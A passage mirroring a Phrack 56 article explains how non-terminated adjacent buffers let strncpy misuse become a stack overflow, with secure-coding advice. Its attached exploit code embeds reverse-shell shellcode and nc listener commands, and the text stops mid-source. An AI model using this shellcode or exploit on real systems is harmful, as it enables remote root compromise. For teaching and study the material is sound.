mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
890 lines
27 KiB
Text
890 lines
27 KiB
Text
![]() |
- P H R A C K M A G A Z I N E -
|
||
|
|
||
|
Volume 0xa Issue 0x38
|
||
|
05.01.2000
|
||
|
0x0e[0x10]
|
||
|
|
||
|
|--------- TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES ---------|
|
||
|
|-----------------------------------------------------------------------------|
|
||
|
|------------------------- twitch <twitch@vicar.org> -------------------------|
|
||
|
|
||
|
|
||
|
----| Introduction
|
||
|
|
||
|
Because Phrack needs another buffer overflow article, because most of those
|
||
|
pesky strcpy()'s have been replaced with strncpys()'s, and because chicks
|
||
|
dig shellcode, I present for your benefit yet another buffer overflow
|
||
|
technique. Like 'Frame Pointer Overwriting' from P55, this is not the most
|
||
|
common of problems, but it does exist, and it is exploitable.
|
||
|
|
||
|
This article details the hazards of non-terminated buffers (specifically
|
||
|
non-terminated strings), and their potential impact on the security of a
|
||
|
application. This issue is discussed from a variety potential situations,
|
||
|
culminating with an example exploit which abuses adjacent non-terminated
|
||
|
string buffers together to perform program redirection via a buffer overflow.
|
||
|
Like most bugs this is not an unknown problem, however judging from random
|
||
|
source browsing, it appears that this is not a widely understood issue.
|
||
|
|
||
|
Incidentally, the example code contains idiosyncratic architectural
|
||
|
references and man page excerpts as presented from the point of view of
|
||
|
FreeBSD running on the x86 architecture.
|
||
|
|
||
|
Due to popular pleading, the noun 'data' is treated as singular throughout
|
||
|
this document, even though that is wrong.
|
||
|
|
||
|
|
||
|
----| Rehash
|
||
|
|
||
|
If you already know how buffer overflows work (and if you have read any
|
||
|
issue of Phrack within the last two years, how could you not?), skip this
|
||
|
section.
|
||
|
|
||
|
When a program allocates a buffer, then copies arbitrary data into this
|
||
|
buffer, it must ensure that there is enough room for everything that is being
|
||
|
copied. If there is more data than there is allocated memory, all data could
|
||
|
still be copied, but past the end of the designated buffer and random, most
|
||
|
likely quite important, data will be overwritten. It's all really quite
|
||
|
rude. If the data being copied is supplied by the user, the user can do
|
||
|
malevolent things like change the value of variables, redirect program
|
||
|
execution, etc. A common overflow will look like this:
|
||
|
|
||
|
void func(char *userdata)
|
||
|
{
|
||
|
char buf[256];
|
||
|
|
||
|
...
|
||
|
|
||
|
strcpy(buf, userdata);
|
||
|
|
||
|
...
|
||
|
}
|
||
|
|
||
|
The programmer assumes that the data being copied will surely be less than 256
|
||
|
bytes and will fit snugly into the supplied buffer. Unfortunately, since the
|
||
|
data being copied is user-supplied, it could be damned near anything and of
|
||
|
any size. The function strcpy() will continue copying bytes from *userdata
|
||
|
until a NULL is found, so any data past 256 bytes will overflow.
|
||
|
|
||
|
So, in an effort to keep mean people from abusing their software, programmers
|
||
|
will make sure that they only copy as much data as there is buffer space.
|
||
|
To accomplish this task, they will normally do something to this effect:
|
||
|
|
||
|
void func(char *userdata)
|
||
|
{
|
||
|
char buf[256];
|
||
|
|
||
|
...
|
||
|
|
||
|
strncpy(buf, userdata, 256);
|
||
|
|
||
|
...
|
||
|
}
|
||
|
|
||
|
strncpy() will only copy as many bytes as are specified. So in the above,
|
||
|
the maximum amount of data that is ever copied is 256 bytes, and nothing is
|
||
|
overwritten (note that the above code snippet exemplifies the problem discussed
|
||
|
below).
|
||
|
|
||
|
For a far superior explanation of buffer overruns, program redirection,
|
||
|
and smashing the stack for fun and profit, consult the article of the
|
||
|
same name as the latter in P49-10.
|
||
|
|
||
|
|
||
|
----| Pith
|
||
|
|
||
|
The essence of the issue is that many functions that a programmer may take
|
||
|
to be safe and/or 'magic bullets' against buffer overflows do not
|
||
|
automatically terminate strings/buffers with a NULL. That in actuality,
|
||
|
the buffer size argument provided to these functions is an absolute size- not
|
||
|
the size of the string. To put a finer point on it, an excerpt from the
|
||
|
strncpy() man page:
|
||
|
|
||
|
char *
|
||
|
strncpy(char *dst, const char *src, size_t len)
|
||
|
|
||
|
...
|
||
|
|
||
|
The strncpy() copies not more than len characters into dst, appending
|
||
|
`\0' characters if src is less than len characters long, and _not_+
|
||
|
terminating dst if src is more than len characters long.
|
||
|
|
||
|
...
|
||
|
|
||
|
+(underline present in the source)
|
||
|
|
||
|
To understand the ramifications of this, consider the case of two automatic
|
||
|
character arrays, allocated thusly:
|
||
|
|
||
|
char buf1[8];
|
||
|
char buf2[4];
|
||
|
|
||
|
The compiler is most likely going to place these two buffers _next_ to each
|
||
|
other on the stack. Now, consider the stack for the above:
|
||
|
|
||
|
Upper
|
||
|
Memory
|
||
|
|| ----------------> [Top of the stack]
|
||
|
|| ----------------> [ buf2 - 0 ]
|
||
|
|| ----------------> [ buf2 - 1 ]
|
||
|
|| ----------------> [ buf2 - 2 ]
|
||
|
|| ----------------> [ buf2 - 3 ]
|
||
|
|| ----------------> [ buf1 - 0 ]
|
||
|
|| ----------------> [ buf1 - 1 ]
|
||
|
|| ----------------> [ buf1 - 2 ]
|
||
|
|| ----------------> [ buf1 - 3 ]
|
||
|
|| ...
|
||
|
|| ----------------> [ buf1 - 7 ]
|
||
|
||
|
||
|
|| ...
|
||
|
\/
|
||
|
|
||
|
[ Remember that the stack grows down on our example architecture
|
||
|
(and probably yours, too), so the above diagram looks upside down ]
|
||
|
|
||
|
Thus, if a programmer were to do the following:
|
||
|
|
||
|
void
|
||
|
func()
|
||
|
{
|
||
|
char buf1[8];
|
||
|
char buf2[4];
|
||
|
|
||
|
fgets(buf1, 8, stdin);
|
||
|
strncpy(buf2, buf1, 4);
|
||
|
}
|
||
|
|
||
|
Assuming that the user entered the string 'iceburn', after the strncpy()
|
||
|
the stack would look like this:
|
||
|
|
||
|
Upper
|
||
|
Memory
|
||
|
|| ----------------> [Top of the stack]
|
||
|
|| ----------------> [ 'i' (buf2 - 0) ]
|
||
|
|| ----------------> [ 'c' (buf2 - 1) ]
|
||
|
|| ----------------> [ 'e' (buf2 - 2) ]
|
||
|
|| ----------------> [ 'b' (buf2 - 3) ]
|
||
|
|| ----------------> [ 'i' (buf1 - 0) ]
|
||
|
|| ----------------> [ 'c' (buf1 - 1) ]
|
||
|
|| ----------------> [ 'e' (buf1 - 2) ]
|
||
|
|| ----------------> [ 'b' (buf1 - 3) ]
|
||
|
|| ----------------> [ 'u' (buf1 - 4) ]
|
||
|
|| ----------------> [ 'r' (buf1 - 5) ]
|
||
|
|| ----------------> [ 'n' (buf1 - 6) ]
|
||
|
|| ----------------> [ 0x00 (buf1 - 7) ]
|
||
|
||
|
||
|
|| ...
|
||
|
\/
|
||
|
|
||
|
We know from the man page that even though strncpy() is not going to copy
|
||
|
more than 4 bytes. But since the src string is longer than 4 bytes, it
|
||
|
will not null-terminate either. Thus, strlen(buf2) is now 11, even though
|
||
|
sizeof(buf2) is 4. This is not an overflow, as no data beyond the
|
||
|
boundaries of the allocated space have been overwritten. However, it does
|
||
|
establish a peculiar situation. For instance, the result of
|
||
|
|
||
|
printf("You entered: %s\n", buf2);
|
||
|
|
||
|
would produce the following:
|
||
|
|
||
|
You entered: icebiceburn
|
||
|
|
||
|
Not exactly the intent.
|
||
|
|
||
|
|
||
|
----| Apparition
|
||
|
|
||
|
This problem surfaces in the real world in seemingly benign and arcane
|
||
|
ways. The following is from syslogd.c on FreeBSD 3.2-RELEASE:
|
||
|
|
||
|
/*
|
||
|
* Validate that the remote peer has permission to log to us.
|
||
|
*/
|
||
|
int
|
||
|
validate(sin, hname)
|
||
|
struct sockaddr_in *sin;
|
||
|
const char *hname;
|
||
|
{
|
||
|
int i;
|
||
|
size_t l1, l2;
|
||
|
char *cp, name[MAXHOSTNAMELEN];
|
||
|
struct allowedpeer *ap;
|
||
|
|
||
|
if (NumAllowed == 0)
|
||
|
/* traditional behaviour, allow everything */
|
||
|
return 1;
|
||
|
|
||
|
strncpy(name, hname, sizeof name);
|
||
|
if (strchr(name, '.') == NULL) {
|
||
|
strncat(name, ".", sizeof name - strlen(name) - 1);
|
||
|
strncat(name, LocalDomain, sizeof name - strlen(name) - 1);
|
||
|
}
|
||
|
|
||
|
...
|
||
|
}
|
||
|
|
||
|
Suppose that hname is at least MAXHOSTNAMELEN bytes long and does not contain
|
||
|
a '.'. This means that the calculation for the length argument to strncat will
|
||
|
expand to:
|
||
|
|
||
|
sizeof name == MAXNAMELEN
|
||
|
strlen(name) >= MAXNAMELEN
|
||
|
Thus, length will be < 0
|
||
|
|
||
|
Well, since the length parameter to strncat is of type size_t, which is
|
||
|
unsigned, strncat will actually be willing to append _way_ to many bytes.
|
||
|
Thus, all of LocalDomain will be appended to name (which is already full),
|
||
|
an overflow will occur and syslogd will seg fault when validate() returns.
|
||
|
Incidentally, unless LocalDomain for the host is an appropriate offset into
|
||
|
the stack, this example is exploitable only as a way to kill syslog
|
||
|
(incidentally, 0xbfbfd001.com is available).
|
||
|
|
||
|
|
||
|
----| Pith + Apparition = Opportunity
|
||
|
|
||
|
Although this type of overflow may be exploited in a variety of manners (and
|
||
|
indeed, it will manifest itself in a variety of ways), the sexiest and easiest
|
||
|
to understand is program redirection. Please note that although the example
|
||
|
situations presented are exorbitantly contrived, that similar conditions exist
|
||
|
in sundry software currently in use all over the world.
|
||
|
|
||
|
Now, let us address a situation where the user has control over the contents of
|
||
|
two adjacent buffers. Consider the following snippet:
|
||
|
|
||
|
int
|
||
|
main(int argc, char **argv)
|
||
|
{
|
||
|
char buf1[1024];
|
||
|
char buf2[256];
|
||
|
|
||
|
strncpy(buf, argv[1], 1024);
|
||
|
strncpy(buf2, argv[2], 256);
|
||
|
|
||
|
...
|
||
|
|
||
|
if(somecondition)
|
||
|
print_error(buf2);
|
||
|
|
||
|
}
|
||
|
|
||
|
void print_error(char *p)
|
||
|
{
|
||
|
char mybuf[263];
|
||
|
|
||
|
sprintf(mybuf, "error: %s", p);
|
||
|
}
|
||
|
|
||
|
A stack diagram would be really large and redundant, so one will not be making
|
||
|
an appearance here, but it should be fairly clear what will happen. The
|
||
|
programmer assumes that due to the liberal use of strncpy() in main(), that
|
||
|
the data is clean when it reaches print_error(). Thus, it is assumed that
|
||
|
sprintf() may be called without incident. Unfortunately, since p points to
|
||
|
buf2, and buf2 is not properly terminated, sprintf() will actually continue
|
||
|
happily copying until it reaches a NULL somewhere after the end of buf1.
|
||
|
Oh shit.
|
||
|
|
||
|
|
||
|
----| Hexploitation
|
||
|
|
||
|
Exploitation (for the purpose of program redirection) in this scenario is
|
||
|
slightly different than it is in the case of a traditional single-buffer
|
||
|
overrun. First, a little rehash about exploiting traditional buffer overflows.
|
||
|
|
||
|
Assuming that we are overflowing a single buffer of 256 bytes, our payload
|
||
|
would generally look something like this (diagrams obviously not to
|
||
|
scale):
|
||
|
|
||
|
[ 0 ....................................................256.. ~280 ]
|
||
|
--------------------------------------------------------------------
|
||
|
| | | | |
|
||
|
| Bunch of NOP's | shellcode | More NOP's | offset_to_shellcode |
|
||
|
| | | | |
|
||
|
--------------------------------------------------------------------
|
||
|
| Buffer |
|
||
|
|________________________________________________________|
|
||
|
|
||
|
All that we do is pass enough data so that when the overflow occurs, the
|
||
|
offset to the our shellcode (an address somewhere on the stack) overwrites
|
||
|
the saved instruction pointer. Thus, when the vulnerable function returns,
|
||
|
program execution is redirected to our code.
|
||
|
|
||
|
Now assume that we want to overflow another 256-byte buffer, say the one
|
||
|
in print_error() in the code snippet from the last section. To accomplish
|
||
|
our malevolent ends however, we will have to use buf1 and buf2 in tandem.
|
||
|
All we have to do is fill all of buf2 with our shellcode and NOP's, then
|
||
|
use the beginning of buf1 for our offset.
|
||
|
|
||
|
Thus, after the strncpy()'s, buf1 will look like this:
|
||
|
|
||
|
[ 0 ......................................................... 1024 ]
|
||
|
--------------------------------------------------------------------
|
||
|
| | |
|
||
|
| offset_to_shellcode | Filled with NULL's by strncpy() |
|
||
|
| | |
|
||
|
--------------------------------------------------------------------
|
||
|
|
||
|
And buf2 will look like this:
|
||
|
|
||
|
[ 0 .......................................................... 256 ]
|
||
|
--------------------------------------------------------------------
|
||
|
| | | |
|
||
|
| Bunch of NOP's | shellcode | More NOP's |
|
||
|
| | | |
|
||
|
--------------------------------------------------------------------
|
||
|
|
||
|
This arrangement is required due to the way in which the buffers are arranged
|
||
|
on the stack. What is supplied as argv[1] (the data that is copied into
|
||
|
buf1) will be located higher in memory than the data we supply as argv[2]
|
||
|
(which is copied into buf2). So technically, we supply the offset at the
|
||
|
beginning of the exploit string, rather than at the end. Then, when
|
||
|
print_error() is called, the stack in main(), will look like this:
|
||
|
|
||
|
[Top of stack Upper Memory]
|
||
|
[ 0 .............................................~300../ /... 1280 ]
|
||
|
-------------------------------------------------------/ /----------
|
||
|
| | | | / / |
|
||
|
| Bunch of NOP's | shellcode | More NOP's | offset / / NULL's |
|
||
|
| | | | / / |
|
||
|
-------------------------------------------------------/ /----------
|
||
|
|
||
|
Which resembles greatly the traditional payload described above.
|
||
|
|
||
|
When print_error() is called, it is passed a pointer to the beginning of buf2,
|
||
|
or, the top of the stack in main(). Thus, when sprintf() is called, an overrun
|
||
|
occurs, redirecting program execution to our shellcode, and all is lost.
|
||
|
|
||
|
Note that alignment here is key, since if the compiler pads one of the buffers,
|
||
|
we may run into a problem. Which buffer is padded and the contents of the
|
||
|
pad bytes both play a role in the success of exploitation.
|
||
|
|
||
|
If buf2 is padded, and the padded bytes contain NULL's, no overflow (or, at
|
||
|
least, no usable overflow) will occur. If the pad bytes are _not_ null, then
|
||
|
as long as the pad bytes end on a double-word boundary (which they almost
|
||
|
certainly will), we can still successfully overwrite the saved instruction
|
||
|
pointer.
|
||
|
|
||
|
If buf1 is padded, whether or not the pad bytes contain NULL's is really of no
|
||
|
consequence, as they will fall after our shellcode anyway.
|
||
|
|
||
|
|
||
|
----| Denouement
|
||
|
|
||
|
As with all bugs, the fault here is not of the library functions, or of the C
|
||
|
programming language, or operating systems not marking data as non-executable,
|
||
|
but that programmers do not fully realize the ramifications of what they
|
||
|
are doing. Before handling any potentially hazardous materials (arbitrary
|
||
|
data), special precautions should be made. Man pages should be read. Buffers
|
||
|
should be terminated. Return values should be checked. All it takes is a
|
||
|
'+1' and an initialization. How hard is this:
|
||
|
|
||
|
char buf[MAXSIZE + 1];
|
||
|
FILE *fd;
|
||
|
size_t len;
|
||
|
|
||
|
...
|
||
|
|
||
|
memset(buf, 0, MAXSIZE + 1);
|
||
|
len = fread((void *)buf, 1, MAXSIZE, fd);
|
||
|
/*
|
||
|
* This won't actually happen, but it is supplied to
|
||
|
* prove a point
|
||
|
*/
|
||
|
if(len > MAXSIZE){
|
||
|
syslog(LOG_WARNING, "Overflow occured in pid %d, invoked by %d\n",
|
||
|
getpid(), getuid());
|
||
|
exit(1);
|
||
|
}
|
||
|
|
||
|
...
|
||
|
|
||
|
Okay, so the above is a bit silly, but the hopefully the intent is
|
||
|
clear.
|
||
|
|
||
|
Incidentally, the following also do not terminate on behalf of lazy
|
||
|
programmers:
|
||
|
|
||
|
fread()
|
||
|
the read() family [ read(), readv(), pread() ]
|
||
|
memcpy()
|
||
|
memccpy()
|
||
|
memmove()
|
||
|
bcopy()
|
||
|
for(i = 0; i < MAXSIZE; i++)
|
||
|
buf[i] = buf2[i];
|
||
|
gethostname()
|
||
|
strncat()
|
||
|
|
||
|
These functions are kind enough to null-terminate for you:
|
||
|
|
||
|
snprintf()
|
||
|
fgets()
|
||
|
|
||
|
Now, go break something, or better yet, go fix something.
|
||
|
|
||
|
|
||
|
----| Example
|
||
|
|
||
|
Attached is an example exploit for an example vulnerable program. The
|
||
|
vulnerable program is pathetically contrived, and serves no purpose other
|
||
|
than:
|
||
|
|
||
|
a) Offering an example of explaining the considerations of
|
||
|
exploiting this type of buffer overrun.
|
||
|
b) Offering a viable opportunity to pimp some new shellcode.
|
||
|
|
||
|
The decision not to present an exploit to real software was due to:
|
||
|
|
||
|
a) The fact that publishing 0-day in Phrack is rude.
|
||
|
b) If I didn't report the bugs I've found I would be a prick.
|
||
|
c) The fact that any bugs that I have found should already be patched
|
||
|
by the time this comes out.
|
||
|
d) The presented example is easier to follow than a real-world app.
|
||
|
e) The point of this article is to inform, not help you tag
|
||
|
www.meaninglessdomain.com.
|
||
|
|
||
|
But hey, you're getting free shellcode, so reading this wasn't an entire
|
||
|
waste of time.
|
||
|
|
||
|
The exploit itself will throw a shell to any system and port you deem
|
||
|
necessary. I think that's useful. Read the comments in boobies.c for
|
||
|
instructions on how to use.
|
||
|
|
||
|
The shellcode is i386-FreeBSD specific, so in order to play with this the
|
||
|
vulnerable proggy will need to be run on an x86 FreeBSD machine. The exploit
|
||
|
should compile and run on anything -- though you may have to tweak the
|
||
|
alignment for your particular architecture.
|
||
|
|
||
|
Incidentally, x86 Linux and SPARC Solaris versions of the shellcode are
|
||
|
available at www.vicar.org/~twitch/projects/llehs.
|
||
|
|
||
|
|
||
|
----| The code
|
||
|
|
||
|
<++> p56/Boobies/vuln.c !66dd8731
|
||
|
/*
|
||
|
* vuln.c
|
||
|
*
|
||
|
* 01/09/1999
|
||
|
* <twitch@vicar.org>
|
||
|
*
|
||
|
* Example to display how non-terminated strings in adjacent memory
|
||
|
* spaces may be exploited.
|
||
|
*
|
||
|
* Give it a port to listen on if you wish as argv[argc - 1]
|
||
|
* (the default is 6543).
|
||
|
*
|
||
|
* The code is sloppy because I really didn't care.
|
||
|
* Pretend it's a game on a Happy Meal(tm) box- how many other exploitable
|
||
|
* conditions can you find?
|
||
|
*
|
||
|
* to compile-
|
||
|
* [twitch@lupus]$ gcc -Wall -o vuln vuln.c
|
||
|
*/
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <string.h>
|
||
|
#include <unistd.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <sys/types.h>
|
||
|
#include <sys/socket.h>
|
||
|
#include <netinet/in.h>
|
||
|
#include <arpa/inet.h>
|
||
|
#include <netdb.h>
|
||
|
|
||
|
#ifndef MAXHOSTNAMELEN
|
||
|
#define MAXHOSTNAMELEN 256
|
||
|
#endif /* MAXHOSTNAME */
|
||
|
|
||
|
#define PORT 6543
|
||
|
|
||
|
int be_vulnerable(int);
|
||
|
void oopsy(char *);
|
||
|
int do_stuff(char *, int, u_short);
|
||
|
|
||
|
int
|
||
|
main(int argc, char **argv)
|
||
|
{
|
||
|
char myname[MAXHOSTNAMELEN + 1];
|
||
|
struct hostent *h;
|
||
|
int r;
|
||
|
u_short port;
|
||
|
|
||
|
port = PORT;
|
||
|
|
||
|
if(argc > 1)
|
||
|
port = strtoul(argv[argc - 1], NULL, 10);
|
||
|
|
||
|
memset(myname, 0, MAXHOSTNAMELEN + 1);
|
||
|
r = gethostname(myname, MAXHOSTNAMELEN);
|
||
|
if(r){
|
||
|
perror("gethostname");
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
if(!(strlen(myname))){
|
||
|
fprintf(stderr, "I have no idea what my name is, bailing\n");
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
h = gethostbyname(myname);
|
||
|
if(!h){
|
||
|
fprintf(stderr, "I couldn't resolve my own name, bailing\n");
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
return(do_stuff(h->h_addr, h->h_length, port));
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* do_stuff()
|
||
|
* Listen on a socket and when we get a connection, had it
|
||
|
* off to be_vulnerable().
|
||
|
*/
|
||
|
int
|
||
|
do_stuff(char *myaddr, int addrlen, u_short port)
|
||
|
{
|
||
|
struct sockaddr_in sin, fin;
|
||
|
int s, r, alen;
|
||
|
char *p;
|
||
|
memcpy(&sin.sin_addr.s_addr, myaddr, addrlen);
|
||
|
|
||
|
p = inet_ntoa(sin.sin_addr);
|
||
|
|
||
|
if(sin.sin_addr.s_addr == -1L){
|
||
|
fprintf(stderr, "inet_addr returned the broadcast, bailing\n");
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
memset(&sin, 0, sizeof(struct sockaddr));
|
||
|
sin.sin_family = AF_INET;
|
||
|
sin.sin_port = htons(port);
|
||
|
|
||
|
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||
|
if(s < 0){
|
||
|
perror("socket");
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
alen = sizeof(struct sockaddr);
|
||
|
r = bind(s, (struct sockaddr *)&sin, alen);
|
||
|
if(r < 0){
|
||
|
perror("bind");
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
r = listen(s, 1);
|
||
|
if(r < 0){
|
||
|
perror("listen");
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
printf("Accepting connections on port %d...\n", port);
|
||
|
|
||
|
memset(&fin, 0, alen);
|
||
|
r = accept(s, (struct sockaddr *)&fin, &alen);
|
||
|
if(r < 0){
|
||
|
perror("accept");
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
return(be_vulnerable(r));
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* be_vulnerable()
|
||
|
* We grab a chunk o' data from the wire and deal with it
|
||
|
* in an irresponsible manner.
|
||
|
*/
|
||
|
int
|
||
|
be_vulnerable(int s)
|
||
|
{
|
||
|
int r;
|
||
|
char buf[1024], buf2[256];
|
||
|
|
||
|
memset(buf, 0, 1024);
|
||
|
memset(buf2, 0, 256);
|
||
|
r = read(s, (void *)buf, 1024);
|
||
|
r = read(s, (void *)buf2, 256);
|
||
|
|
||
|
oopsy(buf2);
|
||
|
|
||
|
close(s);
|
||
|
return(0);
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* oopsy()
|
||
|
* Copy data into local storage to do something with it.
|
||
|
* I'm lazy so all this does is cause the overflow.
|
||
|
*/
|
||
|
void
|
||
|
oopsy(char *p)
|
||
|
{
|
||
|
char mybuf[256];
|
||
|
|
||
|
fprintf(stderr, "Oh shit, p is %d bytes long.\n", strlen(p));
|
||
|
strncpy(mybuf, p, strlen(p));
|
||
|
}
|
||
|
<-->
|
||
|
<++> p56/Boobies/boobies.c !f264004c
|
||
|
/*
|
||
|
* boobies.c
|
||
|
*
|
||
|
* 01/09/1999
|
||
|
* <twitch@vicar.org>
|
||
|
*
|
||
|
* Dedicated to Kool Keith, Bushmill's smooth and mellow (distilled
|
||
|
* three times) Irish Whiskey, and that one SCO guy's beautiful lady.
|
||
|
*
|
||
|
*
|
||
|
* Example exploit for vuln.c to display how non-terminated strings
|
||
|
* in adjacent memory can cause real troubles.
|
||
|
*
|
||
|
* This shellcode will establish a TCP connection to any port and
|
||
|
* address you deem fit (see the shellcode for where/how to do this)
|
||
|
* and drop a shell. You won't get a prompt, but otherwise, it is a
|
||
|
* full shell with the privleges of whatever the exploited program had.
|
||
|
*
|
||
|
* This is the x86 FreeBSD version- Linux and SPARC Solaris versions,
|
||
|
* as well as full assembly listings are available at
|
||
|
* www.vicar.org/~twitch/projects/llehs
|
||
|
*
|
||
|
* To use this exploit, run the silly little vulnerability demo
|
||
|
* program on some system (in this example it's running on a system
|
||
|
* called lupus) thusly:
|
||
|
*
|
||
|
* [twitch@lupus]$ ./vuln
|
||
|
* Accepting connections on port 6543...
|
||
|
*
|
||
|
* Then do this on the attacking system (or wherever you are directing
|
||
|
* the shell):
|
||
|
*
|
||
|
* [twitch@pornstar]$ nc -n -v -l -p 1234
|
||
|
* listening on [any] 1234 ...
|
||
|
*
|
||
|
* [ from another terminal/window ]
|
||
|
*
|
||
|
* [twitch@pornstar]$ ./boobies -a 192.168.1.1 -p 1234 |nc -v lupus 6543
|
||
|
* lupus [192.168.1.6] 6543 (?) open
|
||
|
*
|
||
|
* [ back to the first terminal/window ]
|
||
|
*
|
||
|
* connect to [192.168.1.1] from (lupus) [192.168.1.6] 1234
|
||
|
* uname -n
|
||
|
* lupus.vicar.org
|
||
|
* ls -alF /root/
|
||
|
* total 14
|
||
|
* drwxr-x--- 3 root wheel 512 Dec 8 20:44 ./
|
||
|
* drwxr-xr-x 19 root wheel 512 Dec 10 19:13 ../
|
||
|
* -rw------- 1 root wheel 4830 Jan 4 16:15 .bash_history
|
||
|
* -rw------- 2 root wheel 383 May 17 1999 .cshrc
|
||
|
* -rw------- 1 root wheel 1354 Jan 5 10:33 .history
|
||
|
* -rw------- 1 root wheel 124 May 17 1999 .klogin
|
||
|
* -rw------- 1 root wheel 491 Dec 4 19:59 .login
|
||
|
* -rw------- 2 root wheel 235 May 17 1999 .profile
|
||
|
* drwxr-x--- 2 root wheel 512 Dec 8 20:44 .ssh/
|
||
|
* ^C
|
||
|
* [twitch@pornstar]$
|
||
|
*
|
||
|
* You will need to supply an offset of around -50 if
|
||
|
* vuln is running on a port besides the default.
|
||
|
*
|
||
|
* The exploit has a few options that you can read about by doing:
|
||
|
* [twitch@pornstar]$ ./boobies -h
|
||
|
* usage: ./boobies [-o offset_nudge] [-p port] [-a address] [-A alignment]
|
||
|
* -o Nudge the offset offset_nudge bytes.
|
||
|
* -p Port to which the target should connect.
|
||
|
* -a Address to which the target should connect.
|
||
|
* (Must be an IP address because I'm lazy.)
|
||
|
* -A Nudge the alignment.
|
||
|
* -v Be verbose about what we're doing.
|
||
|
* -h The secret to life.
|
||
|
*
|
||
|
* If you compile this on non-x86 architectures, you will prolly have to
|
||
|
* play with the alignment a bit.
|
||
|
*
|
||
|
* to compile-
|
||
|
* [twitch@pornstar]$ gcc -o boobies -Wall boobies.c
|
||
|
* Be alert, look alive, and act like you know.
|
||
|
*/
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <unistd.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <string.h>
|
||
|
#include <sys/types.h>
|
||
|
#include <sys/socket.h>
|
||
|
#include <netinet/in.h>
|
||
|
#include <arpa/inet.h>
|
||
|
|
||
|
char llehs[] =
|
||
|
"\x55\x89\xe5\xeb\x7e\x5e\x31\xc0\x88\x46\x07\x83\xec\x18" /* 14 */
|
||
|
"\xc6\x45\xe9\x02\x31\xc0\x66\xb8" /* 22 */
|
||
|
|
||
|
/*
|
||
|
* Replace with (htons(port) ^ 0xff).
|
||
|
* Defaults to 1234.
|
||
|
*/
|
||
|
"\xfb\x2d"
|
||
|
|
||
|
"\x66\x35\xff\xff\x66\x89\x45\xea\xb8" /* 33 */
|
||
|
|
||
|
/*
|
||
|
* Replace with (inet_addr(host_to_conenct_to) ^ 0xffffffff).
|
||
|
* Defaults to 192.168.1.6.
|
||
|
*/
|
||
|
"\x3f\x57\xfe\xf9"
|
||
|
|
||
|
"\x83\xf0\xff\x89\x45\xec\x6a\x06\x6a\x01\x6a\x02\x6a\x0f\x31\xc0\xb0"
|
||
|
"\x61\xcd\x80"
|
||
|
|
||
|
"\x6a\x10\x89\xc3\x8d\x45\xe8\x50\x53\x6a\x0f\x31\xc0\xb0\x62\xcd\x80"
|
||
|
"\x31\xc0\x50\x53\x6a\x0f\xb0\x5a\xcd\x80"
|
||
|
"\x53\x6a\x0f\x31\xc0\xb0\x06\xcd\x80"
|
||
|
"\x6a\x01\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80"
|
||
|
"\x6a\x02\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80"
|
||
|
"\x31\xc0\x50\x50\x56\x6a\x0f\xb0\x3b\xcd\x80"
|
||
|
"\x31\xc0\x40\xcd\x80"
|
||
|
"\xe8\x7d\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
|
||
|
|
||
|
/*
|
||
|
* This offset seems to work if you are running the exploit and the
|
||
|
* vulnerable proggy on the same machine, with vuln listening on its
|
||
|
* default port. If vuln is listening on a user-supplied port, this
|
||
|
* needs to be around 0xbfbfd0fc. YMMV.
|
||
|
*/
|
||
|
#define OFFSET 0xbfbfd108
|
||
|
#define NOP 0x90
|
||
|
#define BUFSIZE 1300
|
||
|
#define SHELLSIZE 143
|
||
|
#define PAD 32
|
||
|
#define ALIGNIT 0
|
||
|
|
||
|
/*
|
||
|
* Offset into the shellcode for the port
|
||
|
*/
|
||
|
#define SCPORTOFF 22
|
||
|
|
||
|
/*
|
||
|
* Offset into the shellcode for the address
|
||
|
*/
|
||
|
#define SCADDROFF 33
|
||
|
|
||
|
void
|
||
|
usage(char *proggy)
|
||
|
{
|
||
|
fprintf(stderr, "usage: %s [-o offset_nudge] [-p port] [-a address] ",
|
||
|
proggy);
|
||
|
fprintf(stderr, "[-A alignment]\n");
|
||
|
fprintf(stderr, "\t-o\t\tNudge the offset offset_nudge bytes.\n");
|
||
|
fprintf(stderr, "\t-p\t\tPort to which the target should connect.\n");
|
||
|
fprintf(stderr, "\t-a\t\tAddress to which the target should connect.\n");
|
||
|
fprintf(stderr, "\t\t\t(Must be an IP address because I'm lazy.)\n");
|
||
|
fprintf(stderr, "\t-A\t\tNudge the alignment.\n");
|
||
|
fprintf(stderr, "\t-v\t\tBe verbose about what we're doing.\n");
|
||
|
fprintf(stderr, "\t-h\t\tThe secret to life.\n");
|
||
|
fprintf(stderr, "\n");
|
||
|
|
||
|
exit(1);
|
||
|
}
|
||
|
|
||
|
void
|
||
|
main(int argc, char **argv)
|
||
|
{
|
||
|
char b00m[BUFSIZE], *p, c;
|
||
|
char *port, *addr;
|
||
|
u_short portd;
|
||
|
u_long addrd;
|
||
|
extern char *optarg;
|
||
|
int i, nudge = 0, o = OFFSET, align = 0;
|
||
|
int verb = 0;
|
||
|
|
||
|
port = &(llehs[SCPORTOFF]);
|
||
|
addr = &(llehs[SCADDROFF]);
|
||
|
while((c = getopt(argc, argv, "o:p:a:A:vh")) != -1){
|
||
|
switch(c){
|
||
|
/*
|
||
|
* Nudge to the offset
|
||
|
*/
|
||
|
case 'o':
|
||
|
nudge = strtoul(optarg, NULL, 10);
|
||
|
break;
|
||
|
/*
|
||
|
* Port to which we connect
|
||
|
*/
|
||
|
case 'p':
|
||
|
portd = strtoul(optarg, NULL, 10);
|
||
|
|
||
|
